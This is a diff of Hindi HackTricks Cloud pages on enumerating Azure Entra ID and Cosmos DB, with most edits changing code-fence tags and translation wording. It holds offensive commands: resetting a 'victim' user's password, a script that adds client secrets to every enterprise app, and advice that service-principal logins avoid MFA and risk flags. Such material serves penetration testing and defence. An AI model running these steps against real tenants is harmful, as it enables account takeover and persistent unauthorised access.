@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }} {{#endtab }}
{{#tab name="Raw PS" }} {{#tab name="Raw PS" }}
```powershell ```bash
#Using management #Using management
$Token = 'eyJ0eXAi..' $Token = 'eyJ0eXAi..'
# List subscriptions # List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }} {{#endtab }}
{{#tab name="Azure AD" }} {{#tab name="Azure AD" }}
```powershell ```bash
Connect-AzureAD #Open browser Connect-AzureAD #Open browser
# Using credentials # Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -151,10 +151,10 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
जब आप किसी प्रोग्राम के माध्यम से **CLI** के जरिए Azure में **लॉगिन** करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित **Azure Application** का उपयोग कर रहे हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **एक क्लाइंट आईडी** रखते हैं। आप **उनमें से सभी को नहीं देख पाएंगे** जो आप कंसोल में **अनुमत एप्लिकेशन सूचियों** में देख सकते हैं, **लेकिन ये डिफ़ॉल्ट रूप से अनुमत हैं** जब आप किसी प्रोग्राम के माध्यम से **CLI** के जरिए Azure में **लॉगिन** करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित **Azure Application** का उपयोग कर रहे हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **एक क्लाइंट आईडी** रखते हैं। आप **उनमें से सभी को नहीं देख पाएंगे** जो आप कंसोल में **अनुमत एप्लिकेशन सूचियों** में देख सकते हैं, **लेकिन ये डिफ़ॉल्ट रूप से अनुमत हैं**
उदाहरण के लिए, एक **powershell script** जो **प्रमाणित** करती है, एक ऐप का उपयोग करती है जिसकी क्लाइंट आईडी **`1950a258-227b-4e31-a9cf-717495945fc2`** है। भले ही ऐप कंसोल में दिखाई न दे, एक सिस्टम प्रशासक उस एप्लिकेशन को **ब्लॉक कर सकता है** ताकि उपयोगकर्ता उस ऐप के माध्यम से कनेक्ट करने वाले उपकरणों का उपयोग न कर सकें। उदाहरण के लिए, एक **powershell script** जो **प्रमाणित** करती है, एक ऐप का उपयोग करती है जिसकी क्लाइंट आईडी **`1950a258-227b-4e31-a9cf-717495945fc2`** है। भले ही ऐप कंसोल में दिखाई न दे, एक सिस्टम एडमिन उस एप्लिकेशन को **ब्लॉक कर सकता है** ताकि उपयोगकर्ता उस ऐप के माध्यम से कनेक्ट करने वाले उपकरणों का उपयोग न कर सकें।
हालांकि, ऐसे **अन्य क्लाइंट-आईडी** हैं जिनके एप्लिकेशन **आपको Azure से कनेक्ट करने की अनुमति देंगे**: हालांकि, ऐसे **अन्य क्लाइंट-आईडी** हैं जिनके एप्लिकेशन **आपको Azure से कनेक्ट करने की अनुमति देंगे**:
```powershell ```bash
# The important part is the ClientId, which identifies the application to login inside Azure # The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential ` $token = Invoke-Authorize -Credential $credential `
@@ -178,7 +178,7 @@ $token = Invoke-Authorize -Credential $credential `
-Verbose -Debug ` -Verbose -Debug `
-InformationAction Continue -InformationAction Continue
``` ```
### टेनेंट्स ### Tenants
{{#tabs }} {{#tabs }}
{{#tab name="az cli" }} {{#tab name="az cli" }}
@@ -189,7 +189,7 @@ az account tenant list
{{#endtab }} {{#endtab }}
{{#endtabs }} {{#endtabs }}
### उपयोगकर्ता ### Users
Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें: Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें:
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }} {{#endtab }}
{{#tab name="Azure AD" }} {{#tab name="Azure AD" }}
```powershell ```bash
# Enumerate Users # Enumerate Users
Get-AzureADUser -All $true Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerShell" }} {{#tab name="Az PowerShell" }}
```powershell ```bash
# Enumerate users # Enumerate users
Get-AzADUser Get-AzADUser
# Get details of a user # Get details of a user
@@ -295,7 +295,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtabs }} {{#endtabs }}
#### उपयोगकर्ता पासवर्ड बदलें #### उपयोगकर्ता पासवर्ड बदलें
```powershell ```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
@@ -318,7 +318,7 @@ Entra ID समूहों के बारे में अधिक जान
{{#tabs }} {{#tabs }}
{{#tab name="az cli" }} {{#tab name="az cli" }}
```powershell ```bash
# Enumerate groups # Enumerate groups
az ad group list az ad group list
az ad group list --query "[].[displayName]" -o table az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }} {{#endtab }}
{{#tab name="Azure AD" }} {{#tab name="Azure AD" }}
```powershell ```bash
# Enumerate Groups # Enumerate Groups
Get-AzureADGroup -All $true Get-AzureADGroup -All $true
# Get info of 1 group # Get info of 1 group
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerShell" }} {{#tab name="Az PowerShell" }}
```powershell ```bash
# Get all groups # Get all groups
Get-AzADGroup Get-AzADGroup
# Get details of a group # Get details of a group
@@ -394,7 +394,7 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### समूह में उपयोगकर्ता जोड़ें #### समूह में उपयोगकर्ता जोड़ें
समूह के मालिक नए उपयोगकर्ताओं को समूह में जोड़ सकते हैं समूह के मालिक नए उपयोगकर्ताओं को समूह में जोड़ सकते हैं
```powershell ```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
``` ```
> [!WARNING] > [!WARNING]
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }} {{#endtab }}
{{#tab name="Azure AD" }} {{#tab name="Azure AD" }}
```powershell ```bash
# Get Service Principals # Get Service Principals
Get-AzureADServicePrincipal -All $true Get-AzureADServicePrincipal -All $true
# Get details about a SP # Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerShell" }} {{#tab name="Az PowerShell" }}
```powershell ```bash
# Get SPs # Get SPs
Get-AzADServicePrincipal Get-AzADServicePrincipal
# Get info of 1 SP # Get info of 1 SP
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
{{#endtab }} {{#endtab }}
{{#tab name="Raw" }} {{#tab name="Raw" }}
```powershell ```bash
$Token = 'eyJ0eX..' $Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications' $URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{ $RequestParams = @{
@@ -489,7 +489,7 @@ Headers = @{
<details> <details>
<summary>प्रत्येक एंटरप्राइज ऐप पर क्लाइंट सीक्रेट जोड़ने की सूची और प्रयास करें</summary> <summary>प्रत्येक एंटरप्राइज ऐप पर क्लाइंट सीक्रेट जोड़ने की सूची और प्रयास करें</summary>
```powershell ```bash
# Just call Add-AzADAppSecret # Just call Add-AzADAppSecret
Function Add-AzADAppSecret Function Add-AzADAppSecret
{ {
@@ -593,18 +593,18 @@ Write-Output "Failed to Enumerate the Applications."
``` ```
</details> </details>
### अनुप्रयोग ### Applications
अनुप्रयोगों के बारे में अधिक जानकारी के लिए देखें: Applications के बारे में अधिक जानकारी के लिए देखें:
{{#ref}} {{#ref}}
../az-basic-information/ ../az-basic-information/
{{#endref}} {{#endref}}
जब एक ऐप उत्पन्न होता है, तो 2 प्रकार की अनुमतियाँ दी जाती हैं: जब एक App उत्पन्न होता है, तो 2 प्रकार की अनुमतियाँ दी जाती हैं:
- **अनुमतियाँ** जो **सेवा प्रमुख** को दी जाती हैं - **Permissions** जो **Service Principal** को दी जाती हैं
- **अनुमतियाँ** जो **ऐप** उपयोगकर्ता की **तरफ से** रख सकत है और उपयोग कर सकत है। - **Permissions** जो **app** उपयोगकर्ता की **तरफ से** रख सकत है और उपयोग कर सकत है।
{{#tabs }} {{#tabs }}
{{#tab name="az cli" }} {{#tab name="az cli" }}
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }} {{#endtab }}
{{#tab name="Azure AD" }} {{#tab name="Azure AD" }}
```powershell ```bash
# List all registered applications # List all registered applications
Get-AzureADApplication -All $true Get-AzureADApplication -All $true
# Get details of an application # Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerShell" }} {{#tab name="Az PowerShell" }}
```powershell ```bash
# Get Apps # Get Apps
Get-AzADApplication Get-AzADApplication
# Get details of one App # Get details of one App
@@ -653,17 +653,17 @@ Get-AzADAppCredential
{{#endtabs }} {{#endtabs }}
> [!WARNING] > [!WARNING]
> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** में **escalate** कर सकता है।\ > एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** के रूप में **escalate** कर सकता है।\
> अधिक जानकारी के लिए [**यहाँ देखें**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > अधिक जानकारी के लिए [**यहाँ देखें**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE] > [!NOTE]
> एक गुप्त स्ट्रिंग जिसका उपयोग ऐप टोकन मांगते समय अपनी पहचान साबित करने के लिए करता है, वह ऐप का पासवर्ड है।\ > एक गुप्त स्ट्रिंग जिसका उपयोग एप्लिकेशन टोकन मांगते समय अपनी पहचान साबित करने के लिए करता है, वह एप्लिकेशन पासवर्ड है।\
> इसलिए, यदि आप इस **पासवर्ड** को ढूंढ लेते हैं, तो आप **service principal** के रूप में **tenant** के **अंदर** पहुँच सकते हैं।\ > इसलिए, यदि आप इस **पासवर्ड** को ढूंढ लेते हैं, तो आप **service principal** के रूप में **tenant** के **अंदर** पहुँच सकते हैं।\
> ध्यान दें कि यह पासवर्ड केवल उत्पन्न होने पर ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन फिर से प्राप्त नहीं कर सकते)।\ > ध्यान दें कि यह पासवर्ड केवल उत्पन्न होने पर ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन फिर से प्राप्त नहीं कर सकते)।\
> **प्लिकेशन** का **स्वामी** इसे **पासवर्ड** जोड़ सकता है (ताकि वह इसका अनुकरण कर सके)।\ > **प्लिकेशन** का **स्वामी** इसे **पासवर्ड** जोड़ सकता है (ताकि वह इसकी नकल कर सके)।\
> इन service principals के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित नहीं होते** और इनमें **MFA नहीं होगा।** > इन सेवा प्रमुखों के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित** नहीं होते हैं और इनमें **MFA** नहीं होगा।
Microsoft के सामान्य उपयोग किए जाने वाले App IDs की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है यह संभव है कि Microsoft के सामान्य उपयोग किए जाने वाले ऐप IDs की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर मिले
### Managed Identities ### Managed Identities
@@ -683,7 +683,7 @@ az identity list --output table
{{#endtab }} {{#endtab }}
{{#endtabs }} {{#endtabs }}
### Azure भूमिकाएँ ### Azure Roles
Azure भूमिकाओं के बारे में अधिक जानकारी के लिए देखें: Azure भूमिकाओं के बारे में अधिक जानकारी के लिए देखें:
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerShell" }} {{#tab name="Az PowerShell" }}
```powershell ```bash
# Get role assignments on the subscription # Get role assignments on the subscription
Get-AzRoleDefinition Get-AzRoleDefinition
# Get Role definition # Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#endtab }} {{#endtab }}
{{#tab name="Raw" }} {{#tab name="Raw" }}
```powershell ```bash
# Get permissions over a resource using ARM directly # Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token $Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -801,7 +801,7 @@ az rest --method GET \
{{#endtab }} {{#endtab }}
{{#tab name="Azure AD" }} {{#tab name="Azure AD" }}
```powershell ```bash
# Get all available role templates # Get all available role templates
Get-AzureADDirectoryroleTemplate Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles) # Get enabled roles (Assigned roles)
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#endtab }} {{#endtab }}
{{#tab name="Azure AD" }} {{#tab name="Azure AD" }}
```powershell ```bash
# Enumerate Devices # Enumerate Devices
Get-AzureADDevice -All $true | fl * Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices) # List all the active devices (and not the stale devices)
@@ -851,7 +851,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
> [!WARNING] > [!WARNING]
> यदि एक डिवाइस (VM) **AzureAD से जुड़ा** है, तो AzureAD के उपयोगकर्ता **लॉगिन करने में सक्षम** होंगे।\ > यदि एक डिवाइस (VM) **AzureAD से जुड़ा** है, तो AzureAD के उपयोगकर्ता **लॉगिन करने में सक्षम** होंगे।\
> इसके अलावा, यदि लॉगन किया हुआ उपयोगकर्ता डिवाइस का **स्वामी** है, तो वह **स्थानीय व्यवस्थापक** होगा। > इसके अलावा, यदि लॉगिन किया हुआ उपयोगकर्ता डिवाइस का **स्वामी** है, तो वह **स्थानीय व्यवस्थापक** होगा।
### प्रशासनिक इकाइयाँ ### प्रशासनिक इकाइयाँ
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }} {{#endtab }}
{{#tab name="AzureAD" }} {{#tab name="AzureAD" }}
```powershell ```bash
# Get Administrative Units # Get Administrative Units
Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id> Get-AzureADMSAdministrativeUnit -Id <id>
@@ -906,9 +906,9 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
### विशेषाधिकार पहचान प्रबंधन (PIM) ### विशेषाधिकार पहचान प्रबंधन (PIM)
Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अत्यधिक विशेषाधिकारों** को अनावश्यक रूप से उपयोगकर्ताओं को सौंपने से **रोकने** में मदद करता है। Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अधिकतम विशेषाधिकार** को उपयोगकर्ताओं को अनावश्यक रूप से सौंपने से **रोकने** में मदद करता है।
PIM द्वारा प्रदान की जाने वाली मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे उस समय को इंगित करते हुए इसके लिए अनुरोध करना होगा जिसकी उसे आवश्यकता है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\ PIM द्वारा प्रदान की जाने वाली मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे यह बताना होगा कि उसे विशेषाधिकार की आवश्यकता कितने समय के लिए है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\
ध्यान दें कि उपयोगकर्ता **समय बढ़ाने** के लिए भी अनुरोध कर सकेगा। ध्यान दें कि उपयोगकर्ता **समय बढ़ाने** के लिए भी अनुरोध कर सकेगा।
इसके अलावा, **PIM ईमेल भेजता है** जब किसी को विशेषाधिकार वाली भूमिका सौंपा जाता है। इसके अलावा, **PIM ईमेल भेजता है** जब किसी को विशेषाधिकार वाली भूमिका सौंपा जाता है।
@@ -922,9 +922,9 @@ PIM द्वारा प्रदान की जाने वाली म
- शर्तीय पहुँच प्रमाणीकरण संदर्भ की आवश्यकता - शर्तीय पहुँच प्रमाणीकरण संदर्भ की आवश्यकता
- सक्रियण पर औचित्य की आवश्यकता - सक्रियण पर औचित्य की आवश्यकता
- सक्रियण पर टिकट जानकारी की आवश्यकता - सक्रियण पर टिकट जानकारी की आवश्यकता
- सक्रिय के लिए अनुमोदन की आवश्यकता - सक्रिय करने के लिए अनुमोदन की आवश्यकता
- योग्य असाइनमेंट की समाप्ति के लिए अधिकतम समय&#x20; - योग्य असाइनमेंट की समाप्ति के लिए अधिकतम समय
- जब उस भूमिका के साथ कुछ क्रियाएँ होती हैं, तो सूचनाएँ भेजने के लिए कब और किसे सूचनाएँ भेजनी हैं, इस पर और भी बहुत सी कॉन्फ़िगरेशन - जब उस भूमिका के साथ कुछ क्रियाएँ होती हैं, तो सूचनाएँ भेजने के लिए और भी बहुत सी कॉन्फ़िगरेशन
### शर्तीय पहुँच नीतियाँ <a href="#title-text" id="title-text"></a> ### शर्तीय पहुँच नीतियाँ <a href="#title-text" id="title-text"></a>
@@ -936,7 +936,7 @@ PIM द्वारा प्रदान की जाने वाली म
### Entra पहचान सुरक्षा <a href="#title-text" id="title-text"></a> ### Entra पहचान सुरक्षा <a href="#title-text" id="title-text"></a>
Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है** तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है। Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने** की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है, तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है।
यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **निष्क्रिय** है: यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **निष्क्रिय** है:
@@ -947,8 +947,8 @@ Entra पहचान सुरक्षा एक सुरक्षा से
### Entra पासवर्ड सुरक्षा ### Entra पासवर्ड सुरक्षा
Entra पासवर्ड सुरक्षा ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है, जब कई असफल लॉगिन प्रयास होते हैं तो खातों को लॉक करके**।\ Entra पासवर्ड सुरक्षा ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है** जब कई असफल लॉगिन प्रयास होते हैं, तो खातों को लॉक करके।\
यह एक कस्टम पासवर्ड सूची को **बैन** करने की अनुमति भी देती है जिसे आपको प्रदान करना होगा। यह आपको एक कस्टम पासवर्ड सूची **बैन** करने की अनुमति भी देती है जिसे आपको प्रदान करना होगा।
यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर **लागू** किया जा सकता है। यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर **लागू** किया जा सकता है।
@@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़ों, संबंधी, कुंजी-मूल्य, ग्राफ, और कॉलम-परिवार डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं। Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़ों, संबंधी, कुंजी-मूल्य, ग्राफ, और कॉलम-परिवार डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं।
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे प्रमुख सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें Strong से Eventual consistency तक के विकल्प होते हैं। CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account**, डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे प्रमुख सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें Strong से Eventual consistency तक के विकल्प होते हैं।
### NoSQL (sql) ### NoSQL (sql)
Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनाता है। सेवा का एंडपॉइंट है: Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनाता है। सेवा का एंडपॉइंट है:
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
एक खाते के भीतर, आप एक या अधिक डेटाबेस बना सकते हैं, जो कंटेनरों के तार्किक समूह के रूप में कार्य करते हैं। एक डेटाबेस संसाधन प्रबंधन और उपयोगकर्ता अनुमतियों के लिए एक सीमा के रूप में कार्य करता है। डेटाबेस या तो अपने कंटेनरों के बीच प्रावधानित थ्रूपुट साझा कर सकते हैं या व्यक्तिगत कंटेनरों को समर्पित थ्रूपुट आवंटित कर सकते हैं। एक खाते के भीतर, आप एक या अधिक डेटाबेस बना सकते हैं, जो कंटेनरों के तार्किक समूह के रूप में कार्य करते हैं। एक डेटाबेस संसाधन प्रबंधन और उपयोगकर्ता अनुमतियों के लिए एक सीमा के रूप में कार्य करता है। डेटाबेस या तो अपने कंटेनरों के बीच प्रावधानित थ्रूपुट साझा कर सकते हैं या व्यक्तिगत कंटेनरों को समर्पित थ्रूपुट आवंटित कर सकते हैं।
#### कंटेनर #### कंटेनर
डेटा भंडारण की मुख्य इकाई कंटेनर है, जो JSON दस्तावेज़ों को रखती है और कुशल क्वेरी के लिए स्वचालित रूप से अनुक्रमित होती है। कंटेनर लचीले ढंग से स्केलेबल होते हैं और विभाजनों में वितरित होते हैं, जो उपयोगकर्ता द्वारा परिभाषित विभाजन कुंजी द्वारा निर्धारित होते हैं। विभाजन कुंजी अनुकूल प्रदर्शन और समान डेटा वितरण सुनिश्चित करने के लिए महत्वपूर्ण है। उदाहरण के लिए, एक कंटेनर ग्राहक डेटा को स्टोर कर सकता है, जिसमें "customerId" विभाजन कुंजी के रूप में हो सकता है। डेटा भंडारण की मुख्य इकाई कंटेनर है, जो JSON दस्तावेज़ों को रखती है और कुशल क्वेरी के लिए स्वचालित रूप से अनुक्रमित होती है। कंटेनर लचीले ढंग से स्केलेबल होते हैं और विभाजनों में वितरित होते हैं, जो उपयोगकर्ता-परिभाषित विभाजन कुंजी द्वारा निर्धारित होते हैं। विभाजन कुंजी अनुकूल प्रदर्शन और समान डेटा वितरण सुनिश्चित करने के लिए महत्वपूर्ण है। उदाहरण के लिए, एक कंटेनर ग्राहक डेटा को संग्रहीत कर सकता है, जिसमें "customerId" विभाजन कुंजी के रूप में हो सकता है।
#### एन्यूमरेशन #### एन्यूमरेशन
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %} {% tab title="Az PowerShell" %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
```powershell ```bash
Get-Command -Module Az.CosmosD Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group. # List all Cosmos DB accounts in a specified resource group.
@@ -173,7 +173,7 @@ print(item)
``` ```
{% endcode %} {% endcode %}
एक और तरीका कनेक्शन स्थापित करने का है **DefaultAzureCredential()** का उपयोग करना। बस उस खाते से लॉगिन करना है (az login) जिसके पास अनुमतियाँ हैं और इसे निष्पादित करना है। इस मामले में एक भूमिका असाइनमेंट किया जाना चाहिए, आवश्यक अनुमतियाँ देने के लिए (अधिक जानकारी के लिए देखें) एक और तरीका कनेक्शन स्थापित करने का है **DefaultAzureCredential()** का उपयोग करना। बस उस खाते से लॉगिन (az login) करना है जिसके पास अनुमतियाँ हैं और इसे निष्पादित करना है। इस मामले में एक भूमिका असाइनमेंट किया जाना चाहिए, आवश्यक अनुमतियाँ देने के लिए (अधिक जानकारी के लिए देखें)
{% code overflow="wrap" %} {% code overflow="wrap" %}
```python ```python
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %} {% tab title="Az PowerShell" %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
```powershell ```bash
Get-Command -Module Az.CosmosDB Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group. # List all Cosmos DB accounts in a specified resource group.
@@ -350,7 +350,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary> <summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
